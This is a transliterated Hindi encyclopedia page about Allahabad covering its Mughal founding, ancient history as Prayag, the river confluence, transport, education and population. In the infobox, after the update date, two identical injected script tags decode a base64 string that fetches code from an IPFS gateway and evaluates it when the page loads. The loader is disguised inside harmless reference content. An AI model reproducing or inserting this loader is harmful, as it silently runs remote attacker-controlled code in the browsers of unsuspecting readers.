इलाहाबाद

ilahabad
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vivaran	ilahabad shahar, dakshini uttar pradesh rajy ke uttari bharat mean sthit hai. ilahabad ganga nadi ke kinare basa hua hai.
rajy	uttar pradesh
zila	ilahabad zila
nirmata	akabar
sthapana	san 1583 ee.
bhaugolik sthiti	uttar- 25.45°, poorv- 81.85°
marg sthiti	rashtriy rajamarg 2 aur 27 se ilahabad pahuancha ja sakata hai.
kab jaean	aktoobar se march
kaise pahuanchean	viman, rel, bas, taiksi
havaee adda	ilahabad vimanakshetr, nazadiki varanasi havaee adda
relave steshan	prayag relave steshan, ilahabad siti relave steshan, daraganj relave steshan, ilahabad jankshan relave steshan, naini jankshan relave steshan, soobedaraganj relave steshan, bamarauli relave steshan
bas adda	lidar rod evan sivil laians se basean upalabdh
yatayat	aauto riksha, bas, taimpo, saikil riksha
kya dekhean	ilahabad paryatan
kahaan thaharean	hotal, dharmashala, atithi grah
chitr:Map-icon.gif	googal manachitr, ilahabad vimanakshetr
adyatan‎	17:09, 15 navanbar 2010 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

ilahabad

ilahabad paryatan

ilahabad zila

ilahabad shahar, dakshini uttar pradesh rajy ke uttari bharat mean sthit hai. ilahabad ganga aur yamuna nadi par basa hua hai. ilahabad ganga aur yamuna ke sangam ke lie bahut prasiddh hai. aisa mana jata hai ki is sangam par bhoomigat roop se sarasvati nadi bhi akar milati hai. ganga aur yamuna nadiyoan ke sangam par basa ilahabad varanasi (bhootapoorv banaras) v haridvar ke samakaksh pavitr prachin prayag ki bhoomi par sthit hai. yah sthan samarik drishti se b da mahattvapoorn hai. ilahabad uttar pradesh prant ka ek mahattvapoorn zila hai. [[chitr:Junction-Of-Gange-And-Yamuna-Allahabad.jpg|thumb|350px|left|manachitr mean ganga aur yamuna ka sangam, ilahabad (1885)]] ek prachin kianvadanti ke anusar prayag ka ek nam ilabas bhi tha jo manu ki putri ila ke nam par tha. prayag ke nikat bhusi ya pratishthanapur mean chandravanshi rajaoan ki rajadhani thi. isaka pahala raja ila aur budh ka putr pururava el hua. usi ne apani rajadhani ko ilabas ki sanjna di jisaka roopaantar akabar ke samay mean ilahabad ho gaya.

sthapana

vartaman ilahabad shahar ki sthapana 1583 mean mugal badashah akabar ne ki thi aur isaka nam al-ilahabad (allah ka shahar) rakha tha. mugal saltanat mean yah praantiy rajadhani raha aur 1599 se 1604 tak yah bagi shahazada salim (jo bad mean mugal badashah jahaangir bana) ka mukhyalay tha. ilahabad qile ke bahar jahaangir ke bagi putr khusaro ki qabr hai. mugal samrajy ke patan ke bad 1801 mean aangrezoan dvara ilahabad par kabza kie jane tak yah shahar kee shasakoan ke hathoan mean gaya. 1857 mean british satta ke khilaf hue bharatiy vidroh mean yahaan bhari raktapat hua. 1904 se 1949 tak ilahabad sanyukt praant (vartaman uttar pradesh) ki rajadhani tha.

itihas

ilahabad ka prachin nam prayag hai aur yah tirtharaj kaha jata hai. eesa ki chauthi aur paanchavian shatabdi mean gupt vansh ke raj mean vah unaki ek rajadhani bhi raha hai. satavian shatabdi mean samrath harshavardhan, vahaan paanch-paanch varsh ke anantar, satr ka ayojan kiya karata tha. aise ek satr mean chini yatri hven tsaang ne 643 ee. mean bhag liya tha. ilahabad mean sabase prachin aitihasik smarak ashok (273-232 ee. poo.) ke 6 stambh-lekhoan mean se ek hai. is par gupt samrath samudr gupt (330-380 ee.) ki kavi harishen rachit prasiddh prashasti hai. isamean usake digvijay hone ka varnan hai. is sthan ke samarik mahattv ko dekhakar akabar ne 1583 ee. mean yahaan ganga-yamuna ke sangam par qila banavaya tha aur prayag ke sthan par isaka nam ilahabad rakha diya tha. yah nagar ilahabad soobe ki rajadhani banaya gaya. yah nagar bad mean uttar pradesh (sanyukt praant agara abadh) ki rajadhani raha tha.

ilahabad ka mahattv

[[chitr:Fort-Of-Allahabad-1.jpg|thumb|250px|yamuna nadi se ilahabad qile ka drishy (1857)]]

• yahaan uttar pradesh ka uchch nyayalay aur eji karyalay bhi hai .
• ilahabad ka apana aitihasik mahattv hai ramayan mean ilahabad, prayag ke nam se varnit hai.
• sangam ka dharmik mahattv bhi bahut hai .
• ilahabad shahar ka hindi sahity mean bahut mahattvapoorn yogadan hai .
• poorvi uttar pradesh mean ganga nadi ke kinare basa ilahabad bharat ka pavitr aur lokapriy tirthasthal hai . is shahar ka ullekh bharat ke dharmik granthoan mean bhi milata hai . ved, puran, ramayan aur mahabharat mean is sthan ko prayag kaha gaya hai . ganga, yamuna aur sarasvati nadiyoan ka yahaan sangam hota hai, isalie hinduoan ke lie is shahar ka vishesh mahattv hai. 12 sal bad yahaan kumbh ke mele ka ayojan hota hai . kumbh ke mele mean 2 karo d ki bhi d ikattha hone ka anuman kiya jata hai jo sambhavat: vishv mean sabase b da jamav da hai.

yatayat aur parivahan

vayu marg

ilahabad ka nikatatam havaee adda varanasi mean hai jo ilahabad se 147 kilomitar ki doori par sthit hai. lakhanoo havaee adda 210 kilomitar ki doori par hai. [[chitr:Fort-Of-Allahabad-2.jpg|thumb|250px|left|ilahabad qile ka ek drishy]]

rel marg

ilahabad dilli-kolakata ke raste par sthit hai. desh ke kisi bhi hisse se yahaan rel se pahuancha ja sakata hai. kolakata, dilli, patana, guvahati, chainnee, mumbee, gvaliyar, merath, lakhanoo, kanapur, varanasi adi shaharoan se ilahabad ke lie sidhi relean haian.

s dak marg

uttar pradesh aur desh ke anek shaharoan se ilahabad ke lie niyamit basean chalati haian.

krishi aur khanij

ilahabad shahar ke charoan or ka ilaka ganga ke maidani kshetr mean ata hai isalie yah krishi utpadoan ka bazar bhi hai. dhan, gehooan, jau, chana yahaan ki mukhy fasalean haian.

udyog aur vyapar

[[chitr:Kumbh Mela .jpg|thumb|250px|pipoan ka pul(p aauntoon pul), kumbh mela, ilahabad]] mukhyatah shaikshanik v prashasanik keandr hone ke sath-sath ilahabad mean kuchh udyog (khady prasanskaran v vinirman) haian.

shikshan sansthan

ilahabad vishvavidyalay (1887) se sanbaddh anek mahavidyalayoan ke sath-sath yahaan ek uddayan prashikshan keandr bhi hai. 'prayag sangit samiti' aj bharat ka jana pahachana nam hai. yahaan par sangit ki shiksha grahan karane ke lie desh-videsh se hazaroan ki sankhya mean vidyarthi ate haian. yahaan par kee prasiddh vishvavidyalay bhi hai.

janasankhya

ilahabad ki kul janasankhya (2001 ki ganana ke anusar) 9,90,298 hai. ilahabad ke kul zile ki janasankhya 49,41,510 hai.

paryatan

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paryatakoan ke liye yahaan british kal ka ek sarakari bangala, aangl v roman kaithॅlik girajaghar aur jami masjid bhi haian. uttar pradesh ke is aitihasik shahar ka prashasanik, shaikshik, dharmik, aur saanskritik drishti se agrani sthan hai. is shahar ka ullekh bharat ke dharmik granthoan mean bhi milata hai. ved, puran, ramayan aur mahabharat mean is sthan ko prayag kaha gaya hai. ganga, yamuna aur sarasvati nadiyoan ka yahaan sangam hota hai.

vithika

• chitr:Sangam-Allahabad.jpg

  sangam, ilahabad

• chitr:Anandha-Bhawan-Allahabad.jpg

  anand bhavan, ilahabad

• chitr:Khusru-Bagh-Allahabad.jpg

  khusaro bag, ilahabad (1870)

• chitr:Khusru-Bagh-Allahabad-1.jpg

  khusaro bag, ilahabad (1900)

• chitr:Allahabad-University.jpg

  ilahabad vishvavidyalay

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panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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